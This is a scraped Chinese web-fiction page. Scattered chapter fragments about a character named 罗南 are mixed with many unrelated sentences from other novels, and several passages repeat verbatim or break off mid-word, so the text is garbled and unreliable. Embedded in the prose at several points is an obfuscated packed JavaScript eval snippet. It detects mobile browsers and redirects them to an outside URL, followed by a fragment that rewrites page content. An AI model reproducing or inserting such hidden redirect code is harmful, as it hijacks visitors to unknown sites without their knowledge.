萧迁从不曾度过过如此安静悠闲而心安的午后,手边有茶,而身边,有赛观音。 荀五梅尤其欣赏商雪袖,又作诗云:“春闺梦一曲,西都倾半城”。 碰巧赶上了宫里开恩,准许这几位妃子的母亲进宫,也算是天家仁厚。 正说间,外面已经有人拍门,青环开了门,将岳麒岳麟迎了进来。 陆城不知道是不是自己的错觉,他总觉得,自从那晚单独吃过晚饭,再次见到沈然以后,有些事情好像和以前不太一样了。 只见记雅只是稍稍挥剑,一股寒气直扑那俩人,俩人连一点声音都没有发出瞬间就变成了冰雕,随即记雅俩剑挥出俩人直接变成一堆冰块碎片。 在抓住了冥王陀罗之后,藏灵会终于对于冥界的调查,有了实质性的进展。 心情不好的韩远就喜欢虐他们几人,特别是他跟符临两人傻傻的,每一次都正好的凑上前去,然后也正好的被韩远给利用了。 让我从清洁工做起!李婷那个臭婊子坐上我的位置了!你说气人不气人!那个臭婊子当面一套背后一套,也不帮我说话!”刘主任祈求的眼看着我,我半边脸都发烧,她停下来想让我认同她,同情她,可怜她。 无论是字还是画都暗藏着天道玄机,所以姜渔是知道周益字画的厉害。 “大家都散了,今天准时下班,明天好好准备,后天出发!”迟暮命令着。 周吴德手一挥,四周瞬间冒出一圈的手持枪械的士兵,各个枪口对准了位于中间的他们俩。 “傅总,您是来亲自监工了吗?”有工人认得傅黎,开着玩笑还觉得她不应该来这样的场合,毕竟是傅家千金。 听到这句话后,高子键脑袋大了,考大学?他确实想过,可去哪上,他不知道,他甚至能不能考上大学这还两说呢,按照他这么个水平下去,他就只有被淘汰的份了。 唐宁停好车,也走了过来,顺着风安安的目光看了过去,也惊奇的发现车里的那人是刘海,他刚刚要说什么,却又被风安安抬手制止了。唐宁释然,便与风安安挽着胳膊向大楼走去。 那些药很管用。 罗南的病两天就好了。 虽然是一场小病,但这给罗南敲了一次警钟——他需要注意身体了。 其实罗南的生活习惯还算健康,早睡早起,饮食营养均衡,唯一不妥当的地方就是喝太多酒了。 罗南决定戒一段时间酒,让身体彻底恢复到最佳状态。 那之后,老酒馆里不再有罗南的身影, 他现在的修为,也是被她强行拉上来的,若不是赶紧巩固后,对他后期的修炼一点好处都没有。因此,慕秋娘没有再多做什么,而是让他自己多琢磨、打磨一下。 一旦大筒木辉夜姬出现,他们将会是直接和大筒木辉夜姬进行交锋,形成忍界的第一线防御。 当时床主市的海上机场修建的时候,可真的算是声势浩大,并且因为海上机场的修建成功,直接带起了床主市的迅速发展,海上机场,可以说是床主市的一个标志性建筑。 “等船。”陆盈盈看也不看卢修,背过身去,只吐出两个简短的音来。解释完这一句,任凭高大的猎人继续追问,她都不吭声了。 好在新音社八方不禁,并不阻拦同行们看他们的明剧,所以当商雪袖去别的戏班子看戏的时候,也少有会被拒绝的时候。 而宫乐天这边,也查到一些线索。江诺不仅跟普通世界的异能者关系密切,而且暗中也跟修真界的许多人都有往来。 萧迁从不曾度过过如此安静悠闲而心安的午后,手边有茶,而身边,有赛观音。 荀五梅尤其欣赏商雪袖,又作诗云:“春闺梦一曲,西都倾半城”。 碰巧赶上了宫里开恩,准许这几位妃子的母亲进宫,也算是天家仁厚。 正说间,外面已经有人拍门,青环开了门,将岳麒岳麟迎了进来。 陆城不知道是不是自己的错觉,他总觉得,自从那晚单独吃过晚饭,再次见到沈然以后,有些事情好像和以前不太一样了。 只见记雅只是稍稍挥剑,一股寒气直扑那俩人,俩人连一点声音都没有发出瞬间就变成了冰雕,随即记雅俩剑挥出俩人直接变成一堆冰块碎片。 在抓住了冥王陀罗之后,藏灵会终于对于冥界的调查,有了实质性的进展。 心情不好的韩远就喜欢虐他们几人,特别是他跟符临两人傻傻的,每一次都正好的凑上前去,然后也正好的被韩远给利用了。 让我从清洁工做起!李婷那个臭婊子坐上我的位置了!你说气人不气人!那个臭婊子当面一套背后一套,也不帮我说话!”刘主任祈求的眼看着我,我半边脸都发烧,她停下来想让我认同她,同情她,可怜她。 无论是字还是画都暗藏着天道玄机,所以姜渔是知道周益字画的厉害。 “大家都散了,今天准时下班,明天好好准备,后天出发!”迟暮命令着。 周吴德手一挥,四周瞬间冒出一圈的手持枪械的士兵,各个枪口对准了位于中间的他们俩。 “傅总,您是来亲自监工了吗?”有工人认得傅黎,开着玩笑还觉得她不应该来这样的场合,毕竟是傅家千金。 听到这句话后,高子键脑袋大了,考大学?他确实想过,可去哪上,他不知道,他甚至能不能考上大学这还两说呢,按照他这么个水平下去,他就只有被淘汰的份了。 唐宁停好车,也走了过来,顺着风安安的目光看了过去,也惊奇的发现车里的那人是刘海,他刚刚要说什么,却又被风安安抬手制止了。唐宁释然,便与风安安挽着胳膊向大楼走去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14860077|159421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那些药很管用。 罗南的病两天就好了。 虽然是一场小病,但这给罗南敲了一次警钟——他需要注意身体了。 其实罗南的生活习惯还算健康,早睡早起,饮食营养均衡,唯一不妥当的地方就是喝太多酒了。 罗南决定戒一段时间酒,让身体彻底恢复到最佳状态。 那之后,老酒馆里不再有罗南的身影, 他现在的修为,也是被她强行拉上来的,若不是赶紧巩固后,对他后期的修炼一点好处都没有。因此,慕秋娘没有再多做什么,而是让他自己多琢磨、打磨一下。 一旦大筒木辉夜姬出现,他们将会是直接和大筒木辉夜姬进行交锋,形成忍界的第一线防御。 当时床主市的海上机场修建的时候,可真的算是声势浩大,并且因为海上机场的修建成功,直接带起了床主市的迅速发展,海上机场,可以说是床主市的一个标志性建筑。 “等船。”陆盈盈看也不看卢修,背过身去,只吐出两个简短的音来。解释完这一句,任凭高大的猎人继续追问,她都不吭声了。 好在新音社八方不禁,并不阻拦同行们看他们的明剧,所以当商雪袖去别的戏班子看戏的时候,也少有会被拒绝的时候。 而宫乐天这边,也查到一些线索。江诺不仅跟普通世界的异能者关系密切,而且暗中也跟修真界的许多人都有往来。 萧迁从不曾度过过如此安静悠闲而心安的午后,手边有茶,而身边,有赛观音。 荀五梅尤其欣赏商雪袖,又作诗云:“春闺梦一曲,西都倾半城”。 碰巧赶上了宫里开恩,准许这几位妃子的母亲进宫,也算是天家仁厚。 正说间,外面已经有人拍门,青环开了门,将岳麒岳麟迎了进来。 陆城不知道是不是自己的错觉,他总觉得,自从那晚单独吃过晚饭,再次见到沈然以后,有些事情好像和以前不太一样了。 只见记雅只是稍稍挥剑,一股寒气直扑那俩人,俩人连一点声音都没有发出瞬间就变成了冰雕,随即记雅俩剑挥出俩人直接变成一堆冰块碎片。 在抓住了冥王陀罗之后,藏灵会终于对于冥界的调查,有了实质性的进展。 心情不好的韩远就喜欢虐他们几人,特别是他跟符临两人傻傻的,每一次都正好的凑上前去,然后也正好的被韩远给利用了。 让我从清洁工做起!李婷那个臭婊子坐上我的位置了!你说气人不气人!那个臭婊子当面一套背后一套,也不帮我说话!”刘主任祈求的眼看着我,我半边脸都发烧,她停下来想让我认同她,同情她,可怜她。 无论是字还是画都暗藏着天道玄机,所以姜渔是知道周益字画的厉害。 “大家都散了,今天准时下班,明天好好准备,后天出发!”迟暮命令着。 周吴德手一挥,四周瞬间冒出一圈的手持枪械的士兵,各个枪口对准了位于中间的他们俩。 “傅总,您是来亲自监工了吗?”有工人认得傅黎,开着玩笑还觉得她不应该来这样的场合,毕竟是傅家千金。 听到这句话后,高子键脑袋大了,考大学?他确实想过,可去哪上,他不知道,他甚至能不能考上大学这还两说呢,按照他这么个水平下去,他就只有被淘汰的份了。 唐宁停好车,也走了过来,顺着风安安的目光看了过去,也惊奇的发现车里的那人是刘海,他刚刚要说什么,却又被风安安抬手制止了。唐宁释然,便与风安安挽着胳膊向大楼走去。 第119章 孤独 生病影响了罗南做椅子的速度。 一周过去,他只做出两把椅子。 不过好消息是,做第一把椅子前后加一起用了两天时间,而做第二把椅子只用了一天半,相信做第三把的时候,这个时间还会压缩,用不了多久他家就可以接待一次十几人的大型聚会了。 每一个部件处理时都打磨过一次,但为了万无一失,罗南还是在 变异黑豹的聪明程度,不弱于金刚,所以,它很果断的选择了保命的最佳选择。 寇溪是从来不知道霍安一直安排阿吉在她身边,更不知道阿吉眼见寇溪跟董迎磊走的越来越近担心不已,跑过来给她当员工来了。 看着男人的样子,白空一口气憋在喉咙不上不下,甩袖气鼓鼓回到房间,房门变成出气筒被摔的啪啪响。 姜婷悦看着经理对着陆阳恭敬如同狗一样,却压根都没有理会自己和黄天翼,她脸上带着怨恨表情。 一时间,这里再度成为了目光的焦点,只不过这次的主角,换成了南宫雅。 而火星圈和木星圈内的各种势力错综复杂,牵一发而动全身。每一场战争的背后,都是影响重大的。 “说村里头有人眼红了,可能要搞点事情。”寇溪言简意赅的说道。 “该死的修士,你们杀我族人,你们该死。”就在几乎扫平了所有的部落他们准备回军的时候,一声大吼声出来。 教导主任和一班班主任都被她问的老脸一红,事情还没定论,就让两个学生写检讨。她这是在给两个孩子讨公道了。 夏子衿不仅嘴里不停地吃着东西,手里还提了一大堆。夏子衿停在一家婚纱店外歇脚,结果被橱窗里的婚纱吸引住了。有谁儿时不曾幻想穿上洁白的婚纱,挽着父亲的手走在红毯上,到达心爱的人身边? “恩?”仇彪对于钱也是有够的人,有了那几十万,至于以后怎么花,还没有打算好呢,至于再多挣点钱,这种愿望并不是太强烈。 但越是如此就越不能掉以轻心,如果不是我再次检查了一遍尹鹤带来的桑树枝,结果就不堪设想了。轻一点的话,大概只是我受点皮肉之苦,最近几天之内手脚酸软无力,几乎跟瘫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14860078|159421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 痪差不多。 当年就已经宣布死亡的人没死也就算了,现在还带着前男友的孩子回来了,然后呢,然后呢,利用孩子将他将他抢走吗? 龙真早就应该想到,刘德华是白玉麟最看重的人,这种时候,当然会替刘德华解围,这一次,他倒是有点冲动了,想得不够全面,才吃了一个哑巴亏。 爬到六楼,终于听不见老太太的絮叨了,仇彪伸着脖子往楼道里面看了看,这个时间,家家户户都在做饭了,楼道里面反而清静。 这两位都是英气十足、能干能打的美人,虽然在修为方面,方诺兰弱了朱雀不止一筹,但她的凶器却能碾压朱雀,美貌也略胜朱雀一筹。 黑暗中我不能视物,不过这反而让我的感官更加敏锐,我十分确信,自己感受到的绝对是凶兽!既然眼睛没什么用,倒不如现在就闭上眼睛,用心去分辨凶兽的位置。 王赢,他的火焰能压制狂狮罡眼,但黄君豪的境界比王赢要高,因此,此刻的人们,都是露出无比期待的目光,就是不知道,台上的那两位天之骄子,今日谁更胜一筹。 第120章 低级错误! 看着这位蚰蜒蜀黍如此和蔼可亲,皂皂吓得邦邦响的心跳,渐渐安静下来。 他不禁往后退了一步,最后越退越远,在岸边找了块头蹲下,只露出半个脑袋,他还不能走,只要蛛狼夜迷途知返,他还是要把她抓回去,自己辛苦了一个晚上,肚子还挨了一脚,绝不能半途而废。 柳道飞看到了她那湿了一滩臀部瞬间明白,这部位可不是咱能碰触的,只能等你自己慢慢恢复了。 知县的家人更是哭成一片,知县抬头看了看大堂的房梁,按照大明的法律,知县守土有责是应与县城共存亡的。 如此一来,三江堂的弟子们又仿佛是打了鸡血般的死命往前冲,郭元刚随即又被重重包围了起来。 前方不远,指挥佥事张忠带着数人大声呼喝,驱赶着溃逃的叛军。锋锐的羽箭穿风挂雨,声声不停,每一支射出,都必定带起一抹凄惨的艳红。林南催马跟上,沿途手中长矛不断地挑动,无情地收割着叛军的生命。 眼看秋叶公主身影摇摇欲坠,显见她的力气是越来越空了,一旦她拉不住,三人被会被水中的怪物拖入水中活活淹死。 了解完老司机与钢厂工人们的情况,就听到接待员告诉他们张腾仁的拒绝以及老司机所面临的难处。 这时被坐骑团团包裹住的那努克隆伊也醒过来了,拍了拍变异飞蟒,再次骑着飞蟒升空了,“这蛮子如果真像瑟斯兄弟说的那样,单独一人干掉了连卡多诺,那我败在他手下也不冤了。 陈飞默默的看了那台机器一眼,那台机器并没有停电。他忽然觉得很可笑,分子兽还是被两个憨憨齿轮兽给坑了。 只是已经做好了会被拒绝准备的他却不想冷清歌竟毫不犹豫地就答应了。 “昨天,你照顾了我一整晚?”冷清歌的目光落到白楠的脸颊上,似是想起了什么,转移了话题。 胡三在旁边喝着茶,看得特别的开心,这俩的相处模式,谁看着都是特别有意思。 可如今却被战擎苍用维持低温的石洞护着,肌肤没有半点腐化迹象,甚至如初生婴儿般细腻娇嫩,全身上下纤尘不染。 “鸣儿,打电话给你二叔,让他回来。”齐飞跃思量许久,郑重地道。 但他能够确认,如果破坏神魂,而且神魂无法修复的情况下,金手指绝对会出现。 因为一会还有去比武现场,楚雯婷也跟了过来,来到学校后,他们直接进入到男生宿舍。 不仅如此,那股力量还在十丈范围内,形成了一片强烈的波动涟漪。 这个匪帮人口超过2000,在这偏远一带也算是巨头之一了,其首领竟然是一个二十多岁的姑娘。 五万大魏铁骑如同沙漠中的狂风般朝凯伦撒军营地卷来,马蹄声如同滚动的奔雷,气势惊人至极。 恶人老祖和恶人大帝得意地大叫着,脸上都是一副恶毒之色,一副落井下石幸灾乐祸的表情。 在她眼里徐应龙之所以愿意退钱则是因为他害怕了,这是心虚的表现。 五行灵泉进入煞气团中后,便开始了贪婪的吸取,这样不但不会被美江山察觉,还能更充分地吸收,简直是一举两得。 陈天鹏见阴阳师这样说,不由得一阵紧张,生怕撇下众人一走了之,其实他为了打消阴阳师的顾虑,故意让人将那名死去的警员的尸体给盖起来,而且不告诉他。 因为乌笑笑本身一直负责的是赤旗公会的侦查工作,很少直接上战场。炸服混战期间,她的主要对手,也都是天道盟联盟军,仔细算起来的话,乌笑笑对黑岩部落领地,其实并没有直接的血债。 “当然是我们赢了,裁决战队的么一个队员的战斗力都出奇的强大,尽管多国战队里面也有一些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14860079|159421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高手,但是和裁决战队完全不是同一等级的对手,轻轻松松就被俘虏了。”南宫鹏飞回答道。 泰妍似是吓了一跳,还保持着凑头的姿势,但两手却乖乖举了起来,好像要证明自己是无辜的。 中岛与黑泽看着电报就唾面自干,事到如今,他们连反驳的勇气都没有。 楚阳心里一阵唏嘘,似乎看到了希望。外面的东西对声音很敏感。 彦阳瞪眼问他,行动前曾提醒大家严格保密,如果没有人告密,他们怎会提前知道,事先安排在这里阻截? 等到耳边响起两串足音和亲切的交谈,且越来越近,顾梓鑫才念念不舍的放过毛豆豆。 一个月前,她因发热、耳闷和鼻咽肿块,被影视城旁边的一家医院诊断为鼻咽癌。 季嫣然看过去,卡片上的字很漂亮,字如其人,能看出他是一定很有个性。 “是开车进圈,还是在毒圈守一波?”沈洛这个时候也是询问错觉。 太后的冷汗从额头上冒出,一种恐惧的感觉布满全身,阴暗的大殿中仿佛有什么东西正在慢慢散发出来。 奉天城里,指挥部中,杉田智和焦急等待着最新的消息,坐立不安的他在指挥部里窜来窜去。 方才季氏四处找鬼影,他也不自觉地想到了死去的丞哥,雍哥叫他莫非是因为这个。 被石化光线轮罩的苏瑾身前忽然升起一道水幕,将她身前的光线折射到了一旁。 站班的班头立刻是了一声,就急火火地走出了大堂,大堂里开始肃静起来,没有大人们的问话声,也没有下人们的回话声,肃静的出奇,众衙役的喘息声听得真真切切,就这么沉静下去,似乎也不错。 “你怎么确定我们两个在一个组?”若不是鼬知道这一周时间,南斗几乎都在森林修行,他都以为南斗已经提前知道了。 第121章 烧钱的爱好 想到这里,姜麒那里还有倦意,‘呼拉拉’的便爬了起来。可这一起来他又郁闷了。 但随着那种神秘的感觉出现后,他确定在某个超级宗门中真的有一个和他长相一样的,那种血脉存在感不会有错,那种危机感不会有假。 “不,我一定要说,我……”林梦雪算是已经用尽了所有的勇气,但是还是说不出口,我直勾勾的看着她,也不知道说些什么。 阳光有点刺眼,睡在床上的郝心慢慢坐起來,揉了揉眼睛,顺了顺头发。然后才张开那迷蒙的双眼,发起呆。 “我没有开玩笑!反倒是你,说自己姓林,接着又说不是姓林,你是傻了吧?”林弦乐皱起眉头来说着。 寒冰塑形宛如长枪直指苍天,寒光逼人,无坚不摧,透露出一股凛冽的杀伐气息。 “没事,我只是做了我应该做的事情。”看着这个叫欧菲斯,我如是说道。 “元帅这是何意?”唐凡对黄辉虎的做法感到有些疑虑,自己明明上门都没做,却有人送金子上门来? “不可能,绝对不可能,谁都别想从我身边夺走罗莉!”郑吒立刻咆哮道。 轿夫想要接过灵石的时候,李末突然又说道:“哎呀,我怎么也有些渴了,能帮我也买一杯茶过来吗?”随后又多加了一百下品灵石,一并递了出去。 “谢谢。”叶白不客气的啃了起来,冰凉脆甜的瓜瓤,咬在嘴里沙沙的,味道真是太好了。 而且每个投影地都能获得大量宝物,用古神的宝物装备自己的士兵,强大己方战力。 而此刻的月湖更加热闹非凡,虽然规定每名宾客只能够携带两名侍从,可是到处游览闲逛的人依旧多了起来,潜云最后两天甚至都没有出院门,他并不喜欢太过拥挤热闹的场合。 本世纪初,夺命岛被中东某土豪买下,准备开发成“监狱主题”的旅游项目,结果实际经营状况远远达不到预期效果。所以夺命岛在经营了几年后,再度荒废了下来。 弑魔气愤难消,恨恨的瞪着绝地不说话,心中泛起了沧桑的味道。 林天离开“星辉”,让方大锤他们将剩余的药草全部送过去,之后在刚才的码头集合。 在自动导航的指引下,两辆摩托飞车飞跃城市上空,最后在市中心广场盘旋着落下,停在了雕像的下面。 那光芒笼罩在了徐梦琪的身上,徐梦琪感觉到了体内似乎有什么东西被唤醒。 “关闭所有外部灯光,时刻注意观察四周,人类用肉眼观看,电脑用雷达进行扫描。”夏天吩咐着。 那也是因为,大乘佛教本就是他借壳生蛋,点化释迦牟尼创立的。 神秘人双手持物,脚步轻盈,特意避开了客栈伙计的卧房,在夜色下悄然行动,他肩负行囊,好似将要远行。 透过车窗,许天看见,那车内坐着三个年轻人,还有一个面容刚毅的中年人。 但或许是因为这样的工作实在无聊,两人竟说起悄悄话来,且恰在评论着萦绕在花园中的歌声、琴声。 一枚坠落于不周山,沾染开天功德之气,孕育成十二品功德金莲。 那片风属性芭蕉叶,落入手中,化作一白色蒲扇,内蕴虚无陨风。 好在千辛万苦间,BOSS被命中了几次,持续的毒素让黎雾能多挺一段时间。 高宗扬这才放松了一些,随即便感觉有些愤怒,自己竟然被这个废物吓到? 许弥催动体内磅礴的精神力量,同时朝着三人精神识海冲击过去。 不然的话,社团就要在他和阿豹之中选一個当话事人,这样结果也是一样的。 徐战军队中的兵士,本就在为了阻止溃败大军的溃逃,在抵挡的时候,消耗了太多的体力,降低了大量的战斗力,因此,在枯地的军队,杀进 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看看镜中的世界,又看看镜外的世界,我左右看,戴上眼镜看,摘下眼镜看。突然,我发现镜中的世界和镜中的我是如此的干净,我不明白,是我的眼镜脏了,还是我的眼睛脏了。。。。。。 更多的虫血是留在了这虫界,现在这些虫血中的 气血精气,被某种隐匿的力量牵引着沉入地底深处,并未自然消散开来。 其实要是在一周之前,风穆都不可能这么轻而易举地灭掉这头鬼婴的。 尤其是今天看到妹妹的情况,不管是夫妻感情还是家庭条件都好的让她产生了巨大的落差。 听到这话,苏凌筱的眼泪更盛,“爷,你撑不下去了,奴家来吧,今生无缘服侍你了,来生我寸步不离的守着您。”说着把账单的纸张伸过去给杨旭看。 第122章 法国小百合 罗南上次去博尼约给雅克先生介绍中国醋的时候,通过闲聊得知‘沃克吕兹省粉红酒协会’每次聚会的地点都不一样。 有可能在外面的餐厅或咖啡厅,也有可能在某个人的家里,主要看参会人有没有什么要求和建议。 除了没有足够的椅子这一点外,罗南觉得他家拥有一切可以举办聚会的条件。 有比杂志上的样图还 如今既然族老一致决定选择嬴慎,他们即使内心尚有疑虑,也不得不从。 古族昨天得到消息的时候,李天辰已经将斯托拉斯、玛帕和八岐大蛇化身击败,而轩辕大帝父亲等人在集中力量炼制四门虫洞,轩辕景逸等人就没有把这件事告诉他们,以免打扰他们炼制四门虫洞。 “要是我知道了是谁,非要查出来不可。”显然,妹子也是不开心可。 不想手术之中发现患者出现并发症,导致手术不得不中断。就在这个时候,患者家属突然出现,抢走患者,于是出现了现在这一幕。 “人参何首乌各要十株,年份越久越好。”唐枫沉默了一下,最终还是应允了裘家兄弟,他还需要裘家兄弟为他寻找归灵藤。 “难道真是刚刚进入的师弟”凤天琪沉声,她是凤舞的姐姐,一听到妹妹的名字,顿时眉头微皱的自语说道。 四阶,算是普通的涅盘境大阵,但镇杀普通涅盘境也极为简单,耗费不费力。 捡到纸钱不用慌,把钱投进功德箱,让神灵和他刚——出自现代互联网华佗。 林奕也只是笑了笑,没有说话,反而是坐在了嘉儿旁边,伸手搭在了嘉儿的脉搏之。片刻之后,从一旁拿了一个听诊器,挂在了耳朵之,手也是持着听诊器,往嘉儿的‘胸’前探去。 凌旭是那种精·虫上脑的人么?当然不是,他之所以如此,只不过是要借此机会跑路罢了,早在拍卖会的时候,他就跟灵五商量好怎么跑路了。 她淡漠无波的坐在马车上,神色幽远,心底深处,则沉寂无波,淡漠十足。 “我必须追杀武天峻。”无论怎样相劝,吴越都不听,一心只想完成任务。 只是私下里,和永王,没什么两样。和他同为一个母妃生下来的三皇子在十五岁时失足落水而死,就是这位所为了。 显然,他认为,冷逸轩刚才的第二招,已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14860081|159421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用了他的全部力量。现在迟迟不发第三招,多半是强弩之末。 “怎么样?如何?”江楚歌第一次看到这样的事情,不得不说,她真的是挺好奇的。 押送冷逸轩的,一共有八人,六个四星武者,还有两个五星武者。 而在裴珩说了寺庙以后,乔悠就惊讶到不行,因为她还没有说自己在寺庙遇到的呢。 观棋很听话的点点头。经过坚持不懈的锻炼,现在观棋其实已经很强壮了。 娘娘叹道“嗨,为师也想念她们,不知现在怎样了。”娘娘的脸上挂着忧伤之色。 阮清羽远没杜涵那么惊心动魄,美的不食人间烟火的仙子似的,不过她身材高挑,比例相当的好,有天使的脸蛋魔鬼的身材形容她绝不为过。 曹良锦闻言一惊,连退了几步,方景瑞又跌回床上大笑,她慌乱地跑了出去。 其实叶禄生没猜对,这深夜里陪着叶老夫人的不是曹良瑟而是佟霜。 站在通道中的肖云飞缓缓地走了进来,他的隐身衣已失效了,他也没有带和维克斯他们一样的眼镜,唯一的只是腰间别着一把枪,完全不象是要战斗的局面。 第123章 上山采菌 罗南最关注的肯定是升级后采摘松露的能力是否有增强。 答案是肯定的! 以前他是通过‘寸草不生’的区域寻找松露的踪迹,很多时候有‘寸草不生’的地方出现,但做第二步扫的时候没有苍蝇飞出来。 一般遇到这种情况,罗南会放弃这片区域,去下一个地方寻找,因为苍蝇的飞出点是他的‘坐标’。 没 张元再次一击,彻底轰碎大阵,巨大的身躯直接冲了出来,向着他们追杀而去。 满脸不情愿跟着走的钱万背后一凉,像是被家里行刑的老古板盯住了。吓得浑身一抖,迅速环视四周,见着没有任何熟悉的脸,这才松了口气。 两人的掌力在空中相激,直接发出一声沉闷的大响,像是雷霆一样。 她轻轻抬手,将帽子摘了下来,她那一头如银河般的发丝铺泄下来,散在她的后背上,一时间,长发及腰,银发如水波般暗影浮动,当真美不胜收。 这位老大爷神就神在切换无敌,从古到今,从南到北,不论是什么国籍还是哪个物种,他都能接的上话,还自己添加情节,积极参与,保证你心满意足。 这家伙此刻已经不想着击杀宁步奇,而只是想着能够逃离宁步奇的攻击。 陈辰尘以为我已经忠心教皇,直接把我送上车,说了一个村庄的名字,在就白国的这座纽城郊外,我坐在车上,平复着心情,尽量不让陈辰尘看出来我心中的怒火。 不过片刻,就有人因为脸上痒或者伤口疼而想要动,却因为季君月的一句提醒而忍住了。 没想到他会问自己这个问题,壮汉也没打算藏私,仰起头,神色倨傲的回答道“八大家族,炽天宗,刑家!”提到自己的宗门,壮汉化身的金色巨狼脸上挂满了骄傲。 朱鹏春笑笑,随手点开电脑中东西厂这次行动的资料,一丝冷笑随即从嘴角散开。 再次抱起‘手’那软绵绵的身体,闻着她那股淡淡的幽香,吕千城刚刚菜被压制住的冲动立刻又有了爆发的趋势。 那就证明苏错肯定还有余力,而现在他剩下唯一的对手,就是封林。 一个带着牛角面具的年轻人出现在这里,封林就知道远远没有结束。 比如剑是砍向你的 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第124章 请村民不要‘凭经验\’识菌 罗南小心翼翼的采下一颗放到鼻子前面,有泥土的气息、有一种特殊的菌菇香气,还有一点点坚果的味道。 他确认之前没有在其他菌类上闻到过类似的味道,没有牛肝菌的香气浓郁,但更‘清香’。 “闻起来不错,不知道吃起来怎么样。”罗南把这一片‘法国小百合’全部采下来。 之前没有找到‘法国小百合’的 “那当然,我要是当着记者和聂大哥的面这么说,那不是成心打聂大哥的脸吗?”凌霄心里虽然恨那些贪官,但什么场合该说什么话,他却还是有分寸的。 魔多见月白一脸正在揣测的模样,叹了口气,轻声道;“别替他担心,没人能伤的了他!”除非他入海碰见海洋兽人!魔多说完,心里默默的加了一句。 对于空间里储藏的食物,凌霄还是有十足的信心的,毕竟这些食物,都是当年凌霄还是命运之神的时候,在一个美食的高级世界大量收集的,味道自然也是无比的好吃。 我见他不像本地的大户,知道他应该是来自外面的世界。我就答应了这桩买卖,此人离去之后,又来了两次,都是带来了很多材料。 听着陈婉荷软绵绵的声音,二哥感觉骨头都酥了,一个劲的傻笑点头说好。 巨大的嘴巴瞬间是到了那人面前,但是惊讶的是,这人竟然并没有闪避的意思,竟然是选向着腹中之中而进。 如此战力,比之三尾矶抚相差无几,凌霄给予一尾守鹤的期望,是战斗力点,此时此刻,不得不说有那么点失望。。 凌霄为他们感到高兴,也为他自己感到高兴和骄傲,每次治好一个绝症患者,他都能获得满足感,觉得自己很有用。 “那么呆会优先接触敌军的任务就由我来吧。”黄天化已经是一副饥渴难耐了的模样了。 天帝嘴角微微一弯,眸光望向木屋,媚儿昨晚在他怀中睡得极沉,似乎沒有受到迷梦的困扰,这令他心感欣慰。 “姐姐,谢谢你呢,我从未感觉这么轻松过。”花路路的病症似乎一下好了。 “你这个喽啰,你这个叛徒,我还没找你算账呢,你倒嚣张起来了。”黑星将军。 许庄眉头一皱,他这一剑时机拿捏的恰到好处,所以没有作弄什么虚实之变,甚至已做好了一式辟反太初,先声夺人的准备。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14860083|159421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 元青梨一跃而起,双手扣在一块,以排球扣杀的狠劲,对着后脑勺再次砸下。 “我现在已经到达哈斯玛市了,你说的接应呢?”齐越连忙问道,说话间还紧张的望着四周。 当董粦在拍死酒吧老板以后,并没有慌忙逃窜,而是依然稳稳坐着,自个喝他的酒,似乎还留在酒吧里的几人,都是空气。 看着自己母亲那副神态,陆游和秦雨柔互相对视一眼,双双默契抿嘴一笑。 不过这笑在为你好看来却是极度的虚伪,看起来都恶心,就是不知道这家伙如果照镜子看到自己这样的笑,回是什么样的表情。 温沐遥不知道殷宵究竟高烧到多少度,但看他这烧红烙铁般的触感,想必度数低不了。 